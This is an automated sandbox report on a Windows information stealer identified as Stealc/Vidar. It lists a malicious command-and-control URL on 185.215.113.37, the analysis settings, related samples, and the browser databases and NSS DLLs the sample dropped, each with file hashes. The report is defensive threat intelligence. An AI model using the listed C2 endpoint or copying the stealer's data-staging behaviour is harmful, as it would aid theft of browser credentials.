http://185.215.113.37/e2b1563c6670f193.phpQPc	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.php1Q	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532508
Start date and time:	2024-10-13 14:48:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 77 Number of non-executed functions: 107
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	ND2WP0Fip7.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	C5u5BZq8gj.exe	Get hash	malicious	Vidar	Browse
	hD2EOjfpfW.exe	Get hash	malicious	Vidar	Browse
	AVSicb6epR.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	ND2WP0Fip7.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	C5u5BZq8gj.exe	Get hash	malicious	Vidar	Browse
	hD2EOjfpfW.exe	Get hash	malicious	Vidar	Browse
	AVSicb6epR.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKJEGCFBGDHJJJJJKJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CAEBGHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIEBAFHJJDBGCAKJJKFBGCFIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAKFCGIJKJKFHIDHIIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBGCGHDGIEGCBFIEGCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBKECAKFBGCAKECGIEHDGHCBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHCGDAFBKFIDHJJJDHCBFBGHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEGHJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJECGHJDBFIJJJKEHCBFIJJDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: ND2WP0Fip7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: C5u5BZq8gj.exe, Detection: malicious, Browse Filename: hD2EOjfpfW.exe, Detection: malicious, Browse Filename: AVSicb6epR.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: ND2WP0Fip7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: C5u5BZq8gj.exe, Detection: malicious, Browse Filename: hD2EOjfpfW.exe, Detection: malicious, Browse Filename: AVSicb6epR.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
